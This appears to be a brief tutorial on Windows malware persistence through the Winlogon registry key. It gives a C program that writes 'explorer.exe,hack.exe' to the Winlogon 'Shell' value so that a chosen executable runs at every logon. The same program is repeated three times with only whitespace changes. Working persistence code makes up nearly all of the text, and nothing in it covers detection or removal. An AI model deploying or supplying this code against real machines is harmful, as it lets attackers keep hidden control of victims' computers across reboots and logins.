Malware persistence via Winlogon

Registry path:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Winlogon is a critical component of the Windows subsystem that coordinates user authentication, initiates and terminates user sessions, manages secure attention sequences, and controls system startup, shutdown, and screen locking mechanisms.

Code:

```
#include <windows.h>
#include <string.h>


int main(int argc, char* argv[]) {
  HKEY hkey = NULL;


  // shell
  const char* sh = "explorer.exe,hack.exe";


  // startup
  LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0 , KEY_WRITE, &hkey);

if (res == ERROR_SUCCESS) {

    // create new registry key
    RegSetValueEx(hkey, (LPCSTR)"Shell", 0, REG_SZ, (unsigned char*)sh, strlen(sh));
    RegCloseKey(hkey);
  }


  return 0;
}
```

Code:

```
#include <windows.h>
#include <string.h>


int main(int argc, char* argv[]) {
  HKEY hkey = NULL;


  // shell
  const char* sh = "explorer.exe,hack.exe";


  // startup
  LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0 , KEY_WRITE, &hkey);

if (res == ERROR_SUCCESS) {

// create new registry key

    RegSetValueEx(hkey, (LPCSTR)"Shell", 0, REG_SZ, (unsigned char*)sh, strlen(sh));
    RegCloseKey(hkey);
  }


  return 0;
}
```

Code:

```
#include <windows.h>
#include <string.h>


int main(int argc, char* argv[]) {
  HKEY hkey = NULL;


  // shell
  const char* sh = "explorer.exe,hack.exe";


  // startup
  LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0 , KEY_WRITE, &hkey);

if (res == ERROR_SUCCESS) {

// create new registry key

    RegSetValueEx(hkey, (LPCSTR)"Shell", 0, REG_SZ, (unsigned char*)sh, strlen(sh));
    RegCloseKey(hkey);
  }


  return 0;
}
```